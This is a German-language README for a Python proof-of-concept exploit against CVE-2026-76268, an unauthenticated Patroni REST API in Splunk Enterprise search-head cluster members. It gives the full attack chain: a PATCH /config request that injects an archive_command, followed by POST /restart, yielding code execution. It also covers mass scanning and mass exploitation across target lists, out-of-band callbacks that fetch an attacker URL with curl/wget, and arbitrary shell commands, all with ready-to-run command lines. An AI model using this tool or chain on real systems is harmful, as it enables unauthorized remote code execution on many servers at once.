
Python-PoC für CVE-2026-76268: erkennt unauthentifizierte Patroni-REST-API auf Splunk-SHC-Mitgliedern und nutzt sie über archive_command-Injection aus, um RCE zu erreichen.
Python-3-PoC für CVE-2026-76268 — Splunk Enterprise auf Search-Head-Cluster-(SHC-)Membern. Advisory SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Advisory | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Komponente | PostgreSQL-Sidecar (Storage) → Patroni REST API |
| Betroffen | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Fix | 10.2.7, 10.4.3 (und später) |
| Nicht betroffen (diese CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — fehlende Authentifizierung für kritische Funktion |
| CVSS 3.1 | 9.8 Critical |
| Verifikationsmarker | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
Auf verwundbaren Splunk-Enterprise-SHC-Membern akzeptiert die Patroni REST API (Teil des mit Splunk 10.x eingeführten PostgreSQL-Sidecars) zustandsändernde Anfragen ohne Authentifizierung. Ein Angreifer mit Netzwerkzugriff auf den Patroni-Listener kann die dynamische Cluster-Konfiguration ändern und über PostgreSQL-Parameter wie archive_command eine Betriebssystem-Befehlsausführung auslösen (Patroni-PATCH /config- + POST /restart-Kette).
Dieses PoC kommuniziert direkt mit Patroni (typischerweise TCP 8008 oder ein von Splunks IPC Broker zugewiesener Port). Es verwendet weder Splunk Web (8000) noch den Splunk-Management-Port (8089). Das ist eine andere Angriffsfläche (z. B. historische Sidecar-Probleme über den splunkd-Proxy).
Voraussetzungen für reale Auswirkungen:
[postgres]-Sidecar ist aktiviert (disabled = true entfernt Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Modus | Zweck |
|---|---|
check (Standard) | Patroni auf gängigen Ports finden; unauthentifiziertes PATCH /config testen |
exploit | Patroni-RCE-Kette ausführen (archive_command + Neustart) |
| Mass | --list FILE mit -j Threads; schreibt JSONL + optionale Hit-/Exploit-Listen |
Sie müssen entweder -t TARGET oder --list FILE angeben.
-t / Zeilen in --list)| Format | Beispiel |
|---|---|
| Nur Host (Standard-Portscan) | 192.168.1.50 |
| Host + Port | 192.168.1.50:8008 |
| Vollständige URL | http://10.0.0.5:8008 |
Kommentare in Listendateien: Zeilen, die mit # beginnen, werden ignoriert.
Patroni entdecken und bewerten, ob unauthentifizierte Konfigurationsänderungen erlaubt zu sein scheinen.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
Was das PoC macht:
GET /patroni (oder /) auf jedem Port in --ports (Standard 8008,8009,8010,18008).PATCH /config mit einem leeren JSON-Body und ohne Anmeldedaten.exploitable_candidate: true, wenn Patroni antwortet und PATCH nicht mit 401/403 abgelehnt wird.Nützliche Flags:
| Flag | Bedeutung |
|---|---|
--ports | Kommagetrennte Patroni-Ports zum Scannen |
--port | Scan überspringen; nur einen Port verwenden |
--timeout | HTTP-Timeout (Sekunden, Standard 20) |
--proxy | HTTP(S)-Proxy für Anfragen |
--output | JSONL-Log (Standard cve_2026_76268_results.jsonl) |
--vuln-list | Tab-getrennte Kandidaten (Standard hits.txt) |
--quiet | Weniger Konsolenausgabe |
--no-color | Einfaches Terminal |
Exit-Code: 0, wenn exploitable_candidate true ist; andernfalls 1.
Empfohlener Workflow: Massen-Check → hits.txt prüfen → Massen-Exploit nur auf autorisierten Hosts.
--mode exploit)Führt die Patroni-Konfigurationsinjektionskette aus. Dies ändert die Live-Sidecar-/PostgreSQL-Dynamikkonfiguration auf dem Ziel.
--port nicht gesetzt ist).PATCH /config 401/403 zurückgibt.PATCH /config — setzt wal_level=replica, archive_mode=always, archive_timeout=1 und Ihr archive_command.POST /restart — wendet die ausstehende PostgreSQL-Konfiguration an.--wait-archive Sekunden (Standard 3); archive_command läuft im WAL-Archivzyklus (nicht sofort).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Ausgaben:
--output — vollständiges JSONL (Massen-Exploit verwendet standardmäßig cve_2026_76268_exploit.jsonl, wenn der Standardname beibehalten wurde).--exploited-list — Zeilen mit exploited: true (Standard exploited.txt).| Flag | Bedeutung |
|---|---|
--oob URL | Basis-URL; der Befehl führt curl/wget zu URL/POCBIT-76268-OK aus |
--command | Vollständiger PostgreSQL-archive_command-String (überschreibt den OOB-Standard) |
--wait-archive | Sekunden zum Warten nach dem Neustart, bevor der PoC beendet wird |
--ports / --port | Port-Erkennung oder fester Patroni-Port |
--tls | Verwendet https:// für Patroni (unüblich in den Standard-Splunk-Sidecar-Dokumentationen) |
Standardbefehl, wenn weder --oob noch --command gesetzt ist:
touch /tmp/POCBIT-76268-OK
Exit-Code: 0, wenn PATCH und Neustart akzeptiert werden (exploited: true). Das bedeutet, dass die Kette übermittelt wurde, nicht dass der Callback oder der Dateinachweis bereits ausgelöst wurde. Bestätigen Sie dies mit OOB- oder Dateisystemprüfungen auf dem Host.
Wichtig: Patroni ignoriert möglicherweise dynamische Änderungen, wenn dieselben Parameter in der lokalen Konfiguration gesperrt sind (Hersteller-Härtung). In diesem Fall kann der Exploit selbst bei alten Splunk-Builds fehlschlagen.
-t-Lauf)Wird nach stdout ausgegeben (formatiertes JSON). Der Massenmodus schreibt ein JSON-Objekt pro Zeile.
| Feld | Bedeutung |
|---|---|
mode | check oder exploit |
host / target | Normalisierte Eingabe |
patroni_base | z. B. http://192.168.1.50:8008 |
patroni_port | Port, auf dem Patroni geantwortet hat |
patroni_role | Aus GET /patroni (z. B. primary) |
unauth_patch | Check: PATCH ohne Authentifizierung erlaubt |
exploitable_candidate | Check: wahrscheinlich verwundbare Angriffsfläche |
exploited | Exploit: PATCH + Neustart erfolgreich |
patch / restart | HTTP-Status und Body-Vorschau |
verify | Hinweis: OOB-Pfad oder /tmp/POCBIT-76268-OK |
error | Fehlerursache (auth_required_patched_or_hardened, no_patroni_on_ports, …) |
pocbit, pocbit_page, verify_marker | PoCbit-Metadaten |